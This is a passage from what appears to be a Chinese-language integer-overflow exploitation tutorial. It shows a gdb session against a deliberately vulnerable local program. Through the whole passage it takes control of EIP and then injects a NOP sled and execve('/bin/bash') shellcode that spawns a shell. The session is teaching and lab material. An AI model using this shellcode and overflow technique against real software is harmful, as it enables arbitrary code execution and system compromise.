-c 'print "A"*261'` 216 | Starting program: /home/simba/Documents/LinuxSec/vuln simba `python -c 'print "A"*261'` 217 | 218 | Breakpoint 1, validate_passwd (passwd=0xbffff6e8 'A' ...) at intvuln.c:8 219 | 8 void validate_passwd(char* passwd) { 220 | (gdb) info reg 221 | eax 0xbffff6e8 -1073744152 222 | ecx 0xbffff574 -1073744524 223 | edx 0xbffff504 -1073744636 224 | ebx 0xb7fc5ff4 -1208197132 225 | esp 0xbffff4bc 0xbffff4bc 226 | ebp 0xbffff4d8 0xbffff4d8 227 | esi 0x0 0 228 | edi 0x0 0 229 | eip 0x804849e 0x804849e 230 | eflags 0x282 [ SF IF ] 231 | cs 0x73 115 232 | ss 0x7b 123 233 | ds 0x7b 123 234 | es 0x7b 123 235 | fs 0x0 0 236 | gs 0x33 51 237 | (gdb) r simba `python -c 'print "A"*24+"B"*4+"C"*233'` 238 | The program being debugged has been started already. 239 | Start it from the beginning? (y or n) y 240 | 241 | Starting program: /home/simba/Documents/LinuxSec/vuln simba `python -c 'print "A"*24+"B"*4+"C"*233'` 242 | 243 | Breakpoint 1, validate_passwd (passwd=0xbffff6e8 'A' , "BBBB", 'C' ...) 244 | at intvuln.c:8 245 | 8 void validate_passwd(char* passwd) { 246 | (gdb) si 247 | 0x0804849f 8 void validate_passwd(char* passwd) { 248 | (gdb) finish 249 | Run till exit from #0 0x0804849f in validate_passwd ( 250 | passwd=0xbffff6e8 'A' , "BBBB", 'C' ...) at intvuln.c:8 251 | Valid Password 252 | 253 | Program received signal SIGSEGV, Segmentation fault. 254 | 0x42424242 in ?? () 255 | (gdb) p $eip 256 | $1 = (void (*)()) 0x42424242 257 | (gdb) p/x $eip 258 | $2 = 0x42424242 259 | (gdb) 260 | $3 = 0x42424242 261 | (gdb) r simba `python -c 'print "A" * 24 + "\xc0\xf4\xff\xbf" + "\x90" * 188 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"'` 262 | The program being debugged has been started already. 263 | Start it from the beginning? (y or n) y 264 | 265 | Starting program: /home/simba/Documents/LinuxSec/vuln simba `python -c 'print "A" * 24 + "\xc0\xf4\xff\xbf" + "\x90" * 188 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"'` 266 | 267 | Breakpoint 1, validate_passwd ( 268 | passwd=0xbffff6e8 'A' "\300, \364\377\277\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...) at intvuln.c:8 269 | 8 void validate_passwd(char* passwd) { 270 | (gdb) si 271 | 0x0804849f 8 void validate_passwd(char* passwd) { 272 | (gdb) finish 273 | Run till exit from #0 0x0804849f in validate_passwd ( 274 | passwd=0xbffff6e8 'A' "\300, \364\377\277\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...) at intvuln.c:8 275 | Valid Password 276 | process 23164 is executing new program: /bin/bash 277 | ``` 278 | 279 | ## 参考文章 280 | 281 | [phrack-integerflow](http://phrack.org/issues/60/10.html) --------------------------------------------------------------------------------